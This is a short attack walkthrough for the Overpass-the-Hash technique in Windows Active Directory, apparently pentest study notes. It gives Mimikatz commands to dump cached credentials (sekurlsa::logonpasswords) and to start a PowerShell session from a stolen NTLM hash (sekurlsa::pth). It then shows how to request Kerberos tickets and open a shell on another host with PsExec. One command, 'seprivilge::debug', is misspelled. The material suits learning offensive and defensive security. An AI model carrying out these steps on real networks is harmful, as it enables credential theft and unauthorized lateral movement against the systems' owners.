Overpass The Hash

---

What it’s about? Basically, we use NTLM hash of user to get a ticket from kerberos TGT and then use that ticket to get a TGS for that resource/target system.

Tools:

• Mimikatz
• Psexec

**Requirements :

• NTLM hash of user [ To get that TGT & TGS ]
• Admin share [PSEXEC]
• File Sharing & printer sharing [PSEXEC]
• Local Administrator account of target machine [PSEXEC]

What we DO? we get a TGT from KERBEROS, by spawning an illegitimate login session, Because we have the TGT we are authenticated, So we spawn a process on Targeted host which the person is authenticated on.

---

Attack

We use Mimikatz to impersonate login session of the user for whom we hash for.

engage debug privilege

seprivilge::debug

check cached hashes

sekurlsa::logonpasswords

spawn illegitimate login PowerShell session

sekurlsa::pth /user:{user} /domain:{domain} /ntlm:{Hash} /run:powershell

At this point, running the whoami command on the newly created PowerShell session would show jeff’s identity instead of jen. While this could be confusing, this is the intended behavior of the whoami utility which only checks the current process’s token and does not inspect any imported Kerberos tickets

Try to access the resource via FQDN

net use \\{{resource_FQDN}}

listing tickets

klist

We know that ticket #0 is a TGT because the server is \`krbtgt\`.

Spawning process on targeted system

.\PsExec.exe \\{{FQDN}} cmd

This will give us a session on the other machine.

---